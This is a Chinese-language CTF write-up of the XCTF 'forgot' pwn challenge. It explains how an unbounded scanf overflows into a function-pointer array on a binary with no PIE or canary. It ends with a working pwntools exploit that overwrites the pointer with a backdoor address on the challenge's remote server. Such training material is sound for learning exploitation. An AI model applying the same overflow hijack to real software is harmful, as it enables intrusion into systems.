攻防世界——pwn引导模式—forgot

文章目录

  • 一、Checksec 查看保护
  • 二、IDA反编译分析程序
    • 1.主函数
      • sub_8048654
      • Enter the string to be validate
      • sub_80486CC
    • 2.思路
      • 根据栈帧
      • exp
  • 总结

首先依旧是下载题目elf文件查看

一、Checksec 查看保护


发现题目并没有开启PIE(地址随机化)Canary保护,那么就给了我们栈溢出的机会,同时呢还是个32位程序,那应该不是很难,接下来继续用IDA分析

二、IDA反编译分析程序

1.主函数



根据伪代码可以得到程序执行流先是要求我们输入一个名字fgets(s, 32, stdin)这个fgets限制了输入长度,那么溢出就不出现在这
接着程序提示I should give you a pointer perhaps. Here: %x\n\n", sub_8048654那么这个地址可能对我们解题可能有帮助,让我们进入sub_8048654看看

sub_8048654


只是个输出的打印程序,似乎没什么用

Enter the string to be validate

接着程序叫我们输入一个字符串

并且是__isoc99_scanf(“%s”, v2)这种无限制的输入模式,那么基本可以确定溢出点在这

观察后续的switch语句不难发现,就是关于这个字符串的判定,不同的执行结果可以改变v5的值,并且最后根据指针数组v3[--v5]来执行不同的函数,我们对其中的函数逐个查看(函数过多不再一一展示),发现函数sub_80486CC是个后门函数,直接能把flag输出给我们

sub_80486CC

2.思路

那么好,结合以上所有内容我们就可以确定只要劫持程序执行流到后门函数sub_80486CC这题也就解决了,进入sub_80486CC函数的方法也很简单

根据栈帧


我们可以知道储存字符串的数组v2在储存指针数组v3的低地址,只要向上覆盖就可以修改v3数组中存的指针,自然也就使用程序执行到后门函数。因为我们并没有改变v5的值,那么switch语句执行完之后返回的v5=2,所以执行到最后程序到的是v3[1]的地址,我们只要把后门函数地址覆盖到v3[1]就成功解决这题

exp

frompwnimport*context(os='linux',arch='i386',log_level='debug')elf=ELF("./forgot")#p = process("./forgot")p=remote("61.147.171.105",'63712')p.recvuntil("> ")p.sendline("name")p.recvuntil("> ")backdoor_addr=0x80486CCpayload=b'a'*(32+4)+p32(backdoor_addr)p.sendline(payload)p.interactive()

总结

这道题难度总体不大,就是简单的输入无检测,覆盖数据劫持程序执行流。不过作者在做这道题的时候,一直纠结于程序给我们的那个地址的运用,所以耗费了挺多的时间,在此也提醒各位不要上题目的当,根据自己的思路走。